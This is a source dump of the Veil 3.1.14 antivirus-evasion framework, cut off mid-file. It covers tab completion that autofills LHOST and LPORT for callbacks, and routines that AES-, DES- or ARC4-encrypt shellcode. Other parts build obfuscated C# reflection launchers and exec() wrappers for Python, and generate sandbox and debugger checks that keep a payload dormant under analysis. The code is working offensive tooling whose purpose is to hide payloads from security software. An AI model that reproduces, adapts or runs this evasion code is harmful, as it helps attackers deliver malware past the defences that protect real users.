__init__(self): pass """ If blank line, fill in 4444 """ def complete(self, text, state): buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() if not line: port = ["4444"] + [None] return port[state] else: return text[state] class PathCompleter(object): """ Class used for tab completion of files on the local path. """ def __init__(self): pass def _listdir(self, root): res = [] for name in os.listdir(root): path = os.path.join(root, name) if os.path.isdir(path): name += os.sep res.append(name) return res def _complete_path(self, path=None): if not path: return self._listdir('.') dirname, rest = os.path.split(path) tmp = dirname if dirname else '.' res = [os.path.join(dirname, p) for p in self._listdir(tmp) if p.startswith(rest)] # more than one match, or single match which does not exist (typo) if len(res) > 1 or not os.path.exists(path): return res # resolved to a single directory, so return list of files below it if os.path.isdir(path): return [os.path.join(path, p) for p in self._listdir(path)] # exact file match terminates this completion return [path + ' '] def complete_path(self, args): if not args: return self._complete_path('.') # treat the last arg as a path and complete it return self._complete_path(args[-1]) def complete(self, text, state): buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() return (self.complete_path(line) + [None])[state] class OrdnanceCompleter(object): def __init__(self, cmds, payload): self.commands = [cmd for cmd, desc in cmds.items()] self.payload = payload def _listdir(self, root): """ Complete a directory path. """ res = [] for name in os.listdir(root): path = os.path.join(root, name) if os.path.isdir(path): name += os.sep res.append(name) return res def _complete_path(self, path=None): """ Complete a file path. """ if not path: return self._listdir('.') dirname, rest = os.path.split(path) tmp = dirname if dirname else '.' res = [os.path.join(dirname, p) for p in self._listdir(tmp) if p.startswith(rest)] # more than one match, or single match which does not exist (typo) if len(res) > 1 or not os.path.exists(path): return res # resolved to a single directory, so return list of files below it if os.path.isdir(path): return [os.path.join(path, p) for p in self._listdir(path)] # exact file match terminates this completion return [path + ' '] def complete_path(self, args): """ Entry point for path completion. """ if not args: return self._complete_path('.') # treat the last arg as a path and complete it return self._complete_path(args[-1]) def complete_set(self, args): """ Complete all options for the 'set' command. """ res = [] if hasattr(self.payload, 'required_options'): options = [k for k in sorted(self.payload.required_options.keys())] if args[0] != '': if args[0].strip() == "LHOST": if settings.DISTRO == 'Debian': ip_output = subprocess.getoutput("ip a").split("\n")[8][9:].split('/')[0] # autocomplete the IP for LHOST else: ip_output = subprocess.getoutput("/sbin/ifconfig eth0").split("\n")[1].split()[1] if 'addr' in ip_output: ip_output = ip_output[5:] res = [ip_output] + [None] elif args[0].strip() == "LPORT": # autocomplete the common MSF port of 4444 for LPORT res = ["8675"] + [None] elif args[0].strip() == "original_exe": # tab-complete a file path for an exe res = self.complete_path(args) elif args[0].strip().endswith("_source"): # tab-complete a file path for an exe res = self.complete_path(args) # elif args[0].strip() == "other path-needing option": # # tab-complete a file path # res = self.complete_path(args) else: # complete the command in the list ONLY if it's partially completed res = [o + ' ' for o in options if (o.startswith(args[0]) and o != args[0])] + [None] else: # return all required_options available to 'set' res = [o + ' ' for o in options] + [None] return res def complete(self, text, state): """ Generic readline completion entry point. """ buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() # show all commands if not line: return [c + ' ' for c in self.commands][state] # account for last argument ending in a space RE_SPACE = re.compile('.*\s+$', re.M) if RE_SPACE.match(buffer): line.append('') # resolve command to the implementation functions (above) cmd = line[0].strip() if cmd in self.commands: impl = getattr(self, 'complete_%s' % cmd) args = line[1:] if args: return (impl(args) + [None])[state] return [cmd + ' '][state] results = [c + ' ' for c in self.commands if c.startswith(cmd)] + [None] return results[state] class VeilMainMenuCompleter(object): """ Class used for tab completion of the main Controller menu Takes a list of available commands, and loaded payload modules. """ def __init__(self, cmds, tools): self.commands = [cmd for cmd, desc in cmds.items()] self.tools = [obj.cli_name for name, obj in tools.items()] def complete_use(self, args): """Complete payload/module""" res = [] tools = [] for name in self.tools: tools.append(name) # return all payloads if we just have "use" if len(args[0]) == 0: res = [m for m in tools] + [None] else: tools = [] for name in self.tools: if name.lower().startswith(args[0].lower()): return [name + ' '] + [None] return res def complete_info(self, args): """Complete payload/module""" res = [] tools = [] for name in self.tools: tools.append(name) # return all payloads if we just have "use" if len(args[0]) == 0: res = [m for m in tools] + [None] else: tools = [] for name in self.tools: if name.lower().startswith(args[0].lower()): return [name + ' '] + [None] return res def complete(self, text, state): "Generic readline completion entry point." buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() # show all commands if not line: return [c + ' ' for c in self.commands][state] # account for last argument ending in a space RE_SPACE = re.compile('.*\s+$', re.M) if RE_SPACE.match(buffer): line.append('') # resolve command to the implementation functions (above) cmd = line[0].strip() if cmd in self.commands: impl = getattr(self, 'complete_%s' % cmd) args = line[1:] if args: return (impl(args) + [None])[state] return [cmd + ' '][state] results = [c + ' ' for c in self.commands if c.startswith(cmd)] + [None] return results[state] Veil-3.1.14/lib/common/helpers.py000066400000000000000000000131551365017756100165710ustar00rootroot00000000000000""" This file contains miscellaneous functions used by the framework """ import ipaddress import os import random import re import string import sys import importlib.util # Try to find and import the settings.py config file try: sys.path.append("/etc/veil/") import settings except ImportError: print( "\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() # See if ./config/setup.sh has been executed if not os.path.exists( settings.GOLANG_PATH ): print( "\n [!] ERROR #2-3: Can't find Go (%s). Run: %s --force --silent\n" % ( settings.GOLANG_PATH, os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.PYINSTALLER_PATH ): print( "\n [!] ERROR #2-3: Can't find PyInstaller (%s). Run: %s --force --silent\n" % ( settings.PYINSTALLER_PATH, os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.METASPLOIT_PATH ): print( "\n [!] ERROR #2-3: Can't find the Metasploit Framework (%s). Run: %s --force --silent\n" % ( settings.METASPLOIT_PATH, os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.WINEPREFIX ): print( "\n [!] ERROR #2-3: Can't find the WINE profile (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX, os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.WINEPREFIX + "/drive_c/Python34/python.exe" ): print( "\n [!] ERROR #2-3: Can't find the WINE profile for Python v3.4 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Python34/python.exe", os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.WINEPREFIX + "/drive_c/Ruby187/bin/ruby.exe" ): print( "\n [!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Ruby187/bin/ruby.exe", os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.WINEPREFIX + "/drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe" ): print( "\n [!] ERROR #2-3: Can't find the WINE profile for AuotIT v3 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe", os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() def clean_payloads(): print("\n [*] Cleaning %s" % (settings.PAYLOAD_SOURCE_PATH)) os.system('rm -f %s/*.*' % (settings.PAYLOAD_SOURCE_PATH)) print(" [*] Cleaning %s" % (settings.PAYLOAD_COMPILED_PATH)) os.system('rm -f %s/*.exe' % (settings.PAYLOAD_COMPILED_PATH)) print(" [*] Cleaning %s" % (settings.HANDLER_PATH)) os.system('rm -f %s/*.rc' % (settings.HANDLER_PATH)) print(" [*] Cleaning %s" % (settings.HASH_LIST)) os.system('rm -f %s' % (settings.HASH_LIST)) os.system('touch ' + settings.HASH_LIST) print(" [*] Cleaning ./tools/vt-notify/results.log") os.system('rm -f ./tools/vt-notify/results.log') return def color(string, status=True, warning=False, bold=True, yellow=False): """ Change text color for the linux terminal, defaults to green. Set "warning=True" for red. """ attr = [] if status: # green attr.append('32') if warning: # red attr.append('31') if bold: attr.append('1') if yellow: attr.append('33') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) def check_int(incoming_int): # This checks if the variable is an integer and returns a boolean try: int(incoming_int) return True except ValueError: return False ################################################################# # # Randomization/obfuscation methods. # ################################################################# def randomString(length=-1): """ Returns a random string of "length" characters. If no length is specified, resulting string is in between 6 and 15 characters. """ if length == -1: length = random.randrange(6, 16) random_string = ''.join(random.choice(string.ascii_letters) for x in range(length)) return random_string def randomKey(b=32): """ Returns a random string/key of "b" characters in length, defaults to 32 """ return ''.join(random.choice(string.ascii_letters + string.digits + "{}!@#$^&()*&[]|,./?") for x in range(b)) def randomNumbers(b=7): """ Returns a random string/key of "b" characters in length, defaults to 7 """ random_number = int(''.join(random.choice(string.digits) for x in range(b))) + 100000 if random_number < 1000000: random_number = random_number + 1000000 return random_number def validate_hostname(hostname): """ Try to validate the passed host name, return True or False. """ if len(hostname) > 255: return False if hostname[-1:] == ".": hostname = hostname[:-1] allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?: ').strip() if main_menu_command.startswith('use'): # Check to make sure a tool is provided with use command if len(main_menu_command.split()) == 1: # List tools, don't show header, loop back in main menu self.list_tools() show_header = False elif len(main_menu_command.split()) == 2: # Grab the command, either the number or word tool_choice = main_menu_command.split()[1] # If we're choosing the payload by numbers if tool_choice.isdigit() and\ 0 < int(tool_choice) <= len(self.imported_tools): tool_number = 1 for key, tool_object in sorted(self.imported_tools.items()): # if the entered number matches the payload, use that payload if int(tool_choice) == tool_number: tool_object.tool_main_menu() tool_number += 1 show_header = True # Else if selecting payload by name else: for key, tool_object in sorted(self.imported_tools.items()): # if the entered number matches the payload, use that payload if tool_choice.lower() == tool_object.cli_name.lower(): tool_object.tool_main_menu() show_header = True # Once done with tool, clear main menu command show_header = True elif main_menu_command.startswith('list'): # List tools, don't show header, loop back in main menu self.list_tools() elif main_menu_command.startswith('info'): if len(main_menu_command.split()) == 1: show_header = True elif len(main_menu_command.split()) == 2: # Grab the command, either the number or word info_choice = main_menu_command.split()[1] # If we're choosing the payload by numbers if info_choice.isdigit() and\ 0 < int(info_choice) <= len(self.imported_tools): tool_number = 1 for key, tool_object in sorted(self.imported_tools.items()): # If the entered number matches the tool, use that tool if int(info_choice) == tool_number: print() print(helpers.color(tool_object.cli_name) + " => " + tool_object.description) print() tool_number += 1 # If the entered name matches the tool, use that tool else: for key, tool_object in sorted(self.imported_tools.items()): if main_menu_command.split()[1].lower() == tool_object.cli_name.lower(): print() print(helpers.color(tool_object.cli_name) + " => " + tool_object.description) print() else: show_header = True elif main_menu_command.startswith('option'): self.options_veil() # Hidden menu option elif main_menu_command.startswith('config'): self.config_veil() # Hidden menu option elif main_menu_command.startswith('setup'): self.setup_veil() elif main_menu_command.startswith('update'): self.update_veil() elif main_menu_command.startswith('exit') or main_menu_command.startswith('quit'): sys.exit() except KeyboardInterrupt: print("\n\n" + helpers.color("^C. Quitting...", warning=True)) sys.exit() # Show options def options_veil(self): print( " [i] Veil configuration file: /etc/veil/settings.py" ) for i in dir(settings): if i.startswith('_'): continue print( " [i] {0}: {1}".format( i , eval( 'settings.' + str(i) ))) input( '\n\nOptions shown. Press enter to continue' ) return # Self update framework def update_veil(self): if settings.OPERATING_SYSTEM == "Kali": os.system('apt-get update; apt-get -y install veil') else: os.system('git pull') input('\n\nVeil has checked for updates, press enter to continue') return # Re-run setup def setup_veil(self): if settings.OPERATING_SYSTEM == "Kali": if os.path.exists("/usr/share/veil/config/setup.sh"): os.system('/usr/share/veil/config/setup.sh -f -s') else: print("\n [!] ERROR: Kali is missing %s\n" % ("/usr/share/veil/config/setup.sh")) os.system('./config/setup.sh -f -s') else: os.system('./config/setup.sh -f -s') input('\n\nVeil has ran setup.sh, press enter to continue') return # Re-run config.py def config_veil(self): if settings.OPERATING_SYSTEM == "Kali": if os.path.exists("/usr/share/veil/config/update-config.py"): os.system('cd /usr/share/veil/config/; ./update-config.py') else: print("\n [!] ERROR: Kali is missing %s\n" % ("/usr/share/veil/config/update-config.py")) os.system('cd ./config/; ./update-config.py') else: os.system('cd ./config/; ./update-config.py') input('\n\nVeil has reconfigured, press enter to continue') return Veil-3.1.14/tools/000077500000000000000000000000001365017756100136525ustar00rootroot00000000000000Veil-3.1.14/tools/__init__.py000066400000000000000000000000001365017756100157510ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/000077500000000000000000000000001365017756100153165ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/evasion_common/000077500000000000000000000000001365017756100203325ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/evasion_common/encryption.py000066400000000000000000000220751365017756100231040ustar00rootroot00000000000000""" Evasion Encryption Routines """ import base64 import random import string from Crypto.Cipher import ARC4 from Crypto.Cipher import AES from Crypto.Cipher import DES from lib.common import helpers from tools.evasion.evasion_common import evasion_helpers def aes_encryption(incoming_shellcode, encryption_pad=4): # Generate a random key, create the cipher object # pad the shellcode, and encrypt the padded shellcode # return encrypted -> encoded shellcode and key random_aes_key = helpers.randomKey() iv = helpers.randomString(16) aes_cipher_object = AES.new(random_aes_key, AES.MODE_CBC, iv) padded_shellcode = encryption_padding(incoming_shellcode, encryption_pad) encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode) encoded_ciphertext = base64.b64encode(encrypted_shellcode) return encoded_ciphertext, random_aes_key, iv def arc_encryption(incoming_shellcode): # Generate a random key, create the cipher object # pad the shellcode, and encrypt the padded shellcode # return encrypted -> encoded shellcode and key random_arc_key = helpers.randomKey() arc_cipher_object = ARC4.new(random_arc_key) padded_shellcode = encryption_padding(incoming_shellcode) encrypted_shellcode = arc_cipher_object.encrypt(padded_shellcode) encoded_ciphertext = base64.b64encode(encrypted_shellcode) return encoded_ciphertext, random_arc_key def arya(source): # compile the source to a temporary .EXE path tempExePath = evasion_helpers.compileToTemp("cs", source) try: # read in the raw binary with open(tempExePath, 'rb') as f: rawBytes = f.read() # build the obfuscated launcher source and return it launcherCode = buildAryaLauncher(rawBytes) return launcherCode except: print(helpers.color(" [!] Couldn't read compiled .NET source file: " + tempExePath, warning=True)) return "" def b64sub(s, key): """ "Encryption" method that base64 encodes a given string, then does a randomized alphabetic letter substitution. """ enc_tbl = str.maketrans(string.ascii_letters, key) return str.translate(base64.b64encode(s).decode('ascii'), enc_tbl) def buildAryaLauncher(raw): """ Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt a string rep of the bytes, and then use reflection to invoke the original .exe """ # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random())) base64payload = b64sub(raw, key) payload_code = "using System; using System.Collections.Generic; using System.Text;" payload_code += "using System.IO; using System.Reflection; using System.Linq;\n" decodeFuncName = evasion_helpers.randomString() baseStringName = evasion_helpers.randomString() targetStringName = evasion_helpers.randomString() dictionaryName = evasion_helpers.randomString() # build out the letter sub decrypt function payload_code += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString(), decodeFuncName) payload_code += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" % (baseStringName) payload_code += "string %s = \"\"; Dictionary %s = new Dictionary();\n" % (targetStringName, dictionaryName) payload_code += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" % (baseStringName, dictionaryName,baseStringName) payload_code += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" % (targetStringName, dictionaryName) payload_code += "else { %s += t[i]; }} return %s; }\n" % (targetStringName, targetStringName) base64PayloadName = evasion_helpers.randomString() assemblyName = evasion_helpers.randomString() # build out Main() assemblyName = evasion_helpers.randomString() methodInfoName = evasion_helpers.randomString() keyName = evasion_helpers.randomString() payload_code += "static void Main() {\n" payload_code += "string %s = \"%s\";\n" % (base64PayloadName, base64payload) payload_code += "string %s = \"%s\";\n" % (keyName, key) # load up the assembly of the decoded binary payload_code += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" % (assemblyName, decodeFuncName, base64PayloadName, keyName) payload_code += "MethodInfo %s = %s.EntryPoint;\n" % (methodInfoName, assemblyName) # use reflection to jump to its entry point payload_code += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" % (methodInfoName, assemblyName, methodInfoName) payload_code += "}}}\n" return payload_code def constrained_aes(incoming_shellcode): """ Generates a constrained AES key which is later brute forced in a loop """ # Create our constrained Key small_key = helpers.randomKey(25) # Actual Key used real_key = small_key + str(helpers.randomNumbers()) # Create Cipher Object with Generated Secret Key aes_cipher_object = AES.new(real_key, AES.MODE_ECB) # Prep for manipulation (this is really for python stallion only) # If this function as a whole is needed for another language # It should probably be rewritten without this step incoming_shellcode = incoming_shellcode.encode('latin-1') incoming_shellcode = incoming_shellcode.decode('unicode_escape') # Pad the shellcode padded_shellcode = encryption_padding(incoming_shellcode, '*') # actually encrypt the shellcode encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode) # Base64 encode the encrypted shellcode encoded_ciphertext = base64.b64encode(encrypted_shellcode) # return a tuple of (encodedText, small constrained key, actual key used) return encoded_ciphertext, small_key, real_key def des_encryption(incoming_shellcode): # Generate a random key, create the cipher object # pad the shellcode, and encrypt the padded shellcode # return encrypted -> encoded shellcode and key random_des_key = helpers.randomKey(8) iv = helpers.randomString(8) des_cipher_object = DES.new(random_des_key, DES.MODE_CBC, iv) padded_shellcode = encryption_padding(incoming_shellcode) encrypted_shellcode = des_cipher_object.encrypt(padded_shellcode) encoded_ciphertext = base64.b64encode(encrypted_shellcode) return encoded_ciphertext, random_des_key, iv def encryption_padding(sc_to_pad, padding_letter=4): if padding_letter == 4: padding_letter = random.choice(string.ascii_letters + string.digits + "{}!@#$^&()*&[]|,./?") sc_to_pad = bytes(sc_to_pad, 'latin-1') while len(sc_to_pad) % 16 != 0: sc_to_pad += padding_letter.encode('latin-1') return sc_to_pad def known_plaintext(known_key, random_plaintext): """ Uses key passed in to encrypt a random string which is used in a known plaintext attack to brute force its own key """ aes_cipher_object = AES.new(known_key, AES.MODE_ECB) random_plaintext = encryption_padding(random_plaintext, '*') encrypted_text = aes_cipher_object.encrypt(random_plaintext) encoded_ciphertext = base64.b64encode(encrypted_text) # return our encrypted known plaintext return encoded_ciphertext def pyherion(code): """ Generates a crypted hyperion'esque version of python code using base64 and AES with a random key, wrapped in an exec() dynamic launcher. code = the python source code to encrypt Returns the encrypted python code as a string. """ imports = list() codebase = list() # strip out all imports from the code so pyinstaller can properly # launch the code by preimporting everything at compiletime for line in code.split("\n"): if not line.startswith("#"): # ignore commented imports... if "import" in line: imports.append(line.strip('\t')) else: codebase.append(line) # encrypt the input file (less the imports) encrypted_code, key, iv = aes_encryption("\n".join(codebase), encryption_pad='{') encrypted_code = encrypted_code.decode('ascii') # some random variable names b64var = helpers.randomString() aesvar = helpers.randomString() # randomize our base64 and AES importing variable imports.append("from base64 import b64decode as " + b64var) imports.append("from Crypto.Cipher import AES as " + aesvar) # shuffle up our imports random.shuffle(imports) # add in the AES imports and any imports found in the file crypted = ";".join(imports) + "\n" # the exec() launcher for our base64'ed encrypted string to_be_encoded = "exec(" + aesvar + ".new(\"" + key + "\", " + aesvar + ".MODE_CBC, \"" + iv + "\").decrypt(" + b64var + "(\"" + encrypted_code + "\")).rstrip(b'{'))\n" to_be_encoded = to_be_encoded.encode() encoded_script = base64.b64encode(to_be_encoded).decode('ascii') crypted += "exec(" + b64var + "(\"" + encoded_script + "\"))" return crypted Veil-3.1.14/tools/evasion/evasion_common/evasion_helpers.py000066400000000000000000000100741365017756100240740ustar00rootroot00000000000000""" """ import base64 import os import random import string import subprocess import sys import textwrap import zlib from lib.common import helpers # Try to find and import the settings.py config file try: sys.path.append("/etc/veil/") import settings except ImportError: print( "\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() def deflate(string_val): """ Compress/base64 encode a string. Used in powershell invokers. """ string_val = string_val.encode() zlibbed_str = zlib.compress(string_val) compressed_string = zlibbed_str[2:-4] return base64.b64encode(compressed_string).decode('ascii') def compileToTemp(language, payloadSource): """ Compiles payload code to a temporary location and returns the path. """ if language == "cs": tempExeName = settings.TEMP_PATH + 'temp.exe' tempSourceName = settings.TEMP_PATH + 'temp.cs' # write out the payload source to the temporary location with open(settings.TEMP_PATH + 'temp.cs', 'w') as f: f.write(payloadSource) # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe ' + tempSourceName + ' -out:' + tempExeName) return tempExeName def expiring_payload_variables(): # Expiring payload specific variables RandToday = randomString() RandExpire = randomString() return RandToday, RandExpire def format_long(title, message, frontTab=True, spacing=16): """ Print a long title:message with our standardized formatting. Wraps multiple lines into a nice paragraph format. """ lines = textwrap.wrap(textwrap.dedent(message).strip(), width=50) returnString = "" i = 1 if len(lines) > 0: if frontTab: returnString += "\t%s%s" % (('{0: <%s}' % spacing).format(title), lines[0]) else: returnString += " %s%s" % (('{0: <%s}' % (spacing-1)).format(title), lines[0]) while i < len(lines): if frontTab: returnString += "\n\t" + ' ' * spacing + lines[i] else: returnString += "\n" + ' ' * spacing + lines[i] i += 1 return returnString def inflate(b64string): """ Decode/decompress a base64 string. Used in powershell invokers. """ decoded_data = base64.b64decode(b64string) return zlib.decompress(decoded_data, -15).encode('ascii') def LHOST(): """ Return the IP of eth0 """ ip_output = subprocess.getoutput("/sbin/ifconfig eth0").split("\n")[1].split()[1] if 'addr' in ip_output: ip_output = ip_output[5:] return ip_output def obfuscateNum(N, mod): """ Take a number and modulus and return an obfuscated form. Returns a string of the obfuscated number N """ d = random.randint(1, mod) left = int(N / d) right = d remainder = N % d return "(%s*%s+%s)" % (left, right, remainder) def print_dict_message(commands, show_title=True): if show_title: title_screen() print(helpers.color(" Available Commands:\n")) # list commands in sorted order for (cmd, desc) in sorted(commands.items()): print("\t%s\t%s" % ('{0: <12}'.format(cmd), desc)) print() return def randomString(length=-1): """ Returns a random string of "length" characters. If no length is specified, resulting string is in between 6 and 15 characters. """ if length == -1: length = random.randrange(6, 16) random_string = ''.join(random.choice(string.ascii_letters) for x in range(length)) return random_string def title_screen(): """ Print the framework title, with version. """ if settings.TERMINAL_CLEAR != "false": os.system('clear') print('=' * 79) print(' ' * 35 + helpers.color('Veil-Evasion', status=False, bold=True)) print('=' * 79) print(' [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework') print('=' * 79 + '\n') return Veil-3.1.14/tools/evasion/evasion_common/gamemaker.py000066400000000000000000002045431365017756100226450ustar00rootroot00000000000000""" This file contains the payload sandbox checks for each respective language """ from datetime import date from datetime import timedelta from tools.evasion.evasion_common import evasion_helpers def senecas_games(evasion_payload): # Start checks to determine language # Define original values of variables num_tabs_required = 0 check_code = "" if evasion_payload.language == 'python': if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": RandToday = evasion_helpers.randomString() RandExpire = evasion_helpers.randomString() todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(evasion_payload.required_options["EXPIRE_PAYLOAD"][0]))) # Create Payload code check_code += '\t' * num_tabs_required + 'from datetime import datetime\n' check_code += '\t' * num_tabs_required + 'from datetime import date\n' check_code += '\t' * num_tabs_required + RandToday + ' = datetime.now()\n' check_code += '\t' * num_tabs_required + RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' check_code += '\t' * num_tabs_required + 'if ' + RandToday + ' < ' + RandExpire + ':\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": rand_hostname = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import platform\n' check_code += '\t' * num_tabs_required + rand_hostname + ' = platform.node()\n' check_code += '\t' * num_tabs_required + 'if \"' + evasion_payload.required_options["HOSTNAME"][0].lower() + '\" in ' + rand_hostname + '.lower():\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["DOMAIN"][0].lower() != "x": rand_domain = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import socket\n' check_code += '\t' * num_tabs_required + rand_domain + ' = socket.getfqdn()\n' check_code += '\t' * num_tabs_required + 'if \"' + evasion_payload.required_options["DOMAIN"][0].lower() + '\" in ' + rand_domain + '.lower():\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": rand_processor_count = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import multiprocessing\n' check_code += '\t' * num_tabs_required + rand_processor_count + ' = multiprocessing.cpu_count()\n' check_code += '\t' * num_tabs_required + 'if ' + rand_processor_count + ' >= ' + evasion_payload.required_options["PROCESSORS"][0] + ':\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["USERNAME"][0].lower() != "x": rand_user_name = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import getpass\n' check_code += '\t' * num_tabs_required + rand_user_name + ' = getpass.getuser()\n' check_code += '\t' * num_tabs_required + 'if \'' + evasion_payload.required_options["USERNAME"][0].lower() + '\' in ' + rand_user_name + '.lower():\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["DETECTDEBUG"][0].lower() != "false": is_debugger_present = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'from ctypes import *\n' check_code += '\t' * num_tabs_required + is_debugger_present + ' = windll.kernel32.IsDebuggerPresent()\n' check_code += '\t' * num_tabs_required + 'if ' + is_debugger_present + ' == 0:\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["VIRTUALDLLS"][0].lower() != "false": evidenceof_sandbox = evasion_helpers.randomString() sandbox_dlls = evasion_helpers.randomString() all_pids = evasion_helpers.randomString() pid = evasion_helpers.randomString() hProcess = evasion_helpers.randomString() curProcessDLLs = evasion_helpers.randomString() dll = evasion_helpers.randomString() dll_name = evasion_helpers.randomString() sandbox_dll = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import win32api\n' check_code += '\t' * num_tabs_required + 'import win32process\n' check_code += '\t' * num_tabs_required + evidenceof_sandbox + '= []\n' # removed dbghelp.dll check_code += '\t' * num_tabs_required + sandbox_dlls + ' = ["sbiedll.dll","api_log.dll","dir_watch.dll","pstorec.dll","vmcheck.dll","wpespy.dll"]\n' check_code += '\t' * num_tabs_required + all_pids + '= win32process.EnumProcesses()\n' check_code += '\t' * num_tabs_required + 'for ' + pid + ' in ' + all_pids + ':\n' check_code += '\t' * num_tabs_required + '\ttry:\n' check_code += '\t' * num_tabs_required + '\t\t' + hProcess + ' = win32api.OpenProcess(0x0410, 0, ' + pid + ')\n' check_code += '\t' * num_tabs_required + '\t\ttry:\n' check_code += '\t' * num_tabs_required + '\t\t\t' + curProcessDLLs + '= win32process.EnumProcessModules(' + hProcess + ')\n' check_code += '\t' * num_tabs_required + '\t\t\tfor ' + dll + ' in ' + curProcessDLLs + ':\n' check_code += '\t' * num_tabs_required + '\t\t\t\t' + dll_name + '= str(win32process.GetModuleFileNameEx(' + hProcess + ', ' + dll + ')).lower()\n' check_code += '\t' * num_tabs_required + '\t\t\t\tfor ' + sandbox_dll + ' in '+ sandbox_dlls + ':\n' check_code += '\t' * num_tabs_required + '\t\t\t\t\tif ' + sandbox_dll + ' in ' + dll_name + ':\n' check_code += '\t' * num_tabs_required + '\t\t\t\t\t\tif ' + dll_name + ' not in ' + evidenceof_sandbox + ':\n' check_code += '\t' * num_tabs_required + '\t\t\t\t\t\t\t' + evidenceof_sandbox + '.append(' + dll_name + ')\n' check_code += '\t' * num_tabs_required + '\t\tfinally:\n' check_code += '\t' * num_tabs_required + '\t\t\twin32api.CloseHandle(' + pid + ')\n' check_code += '\t' * num_tabs_required + '\texcept:\n' check_code += '\t' * num_tabs_required + '\t\tpass\n' check_code += '\t' * num_tabs_required + 'if not ' + evidenceof_sandbox + ':\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["MINRAM"][0].lower() != "false": class_name = evasion_helpers.randomString() field_name = evasion_helpers.randomString() memory_status = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import ctypes\n' check_code += '\t' * num_tabs_required + 'class ' + class_name + ' (ctypes.Structure):\n' check_code += '\t' * num_tabs_required + '\t_fields_ = [\n' check_code += '\t' * num_tabs_required + '\t\t("dwLength", ctypes.c_ulong),\n' check_code += '\t' * num_tabs_required + '\t\t("dwMemoryLoad", ctypes.c_ulong),\n' check_code += '\t' * num_tabs_required + '\t\t("ullTotalPhys", ctypes.c_ulonglong),\n' check_code += '\t' * num_tabs_required + '\t\t("ullAvailPhys", ctypes.c_ulonglong),\n' check_code += '\t' * num_tabs_required + '\t\t("ullTotalPageFile", ctypes.c_ulonglong),\n' check_code += '\t' * num_tabs_required + '\t\t("ullAvailPageFile", ctypes.c_ulonglong),\n' check_code += '\t' * num_tabs_required + '\t\t("ullTotalVirtual", ctypes.c_ulonglong),\n' check_code += '\t' * num_tabs_required + '\t\t("ullAvailVirtual", ctypes.c_ulonglong),\n' check_code += '\t' * num_tabs_required + '\t\t("sullAvailExtendedVirtual", ctypes.c_ulonglong),\n' check_code += '\t' * num_tabs_required + '\t]\n' check_code += '\t' * num_tabs_required + memory_status + ' = ' + class_name + '()\n' check_code += '\t' * num_tabs_required + memory_status + '.dwLength = ctypes.sizeof(' + class_name + ')\n' check_code += '\t' * num_tabs_required + 'ctypes.windll.kernel32.GlobalMemoryStatusEx(ctypes.byref(' + memory_status + '))\n' check_code += '\t' * num_tabs_required + 'if ' + memory_status + '.ullTotalPhys/1073741824 > 3:\n' # Add a tab for this check num_tabs_required += 1 if 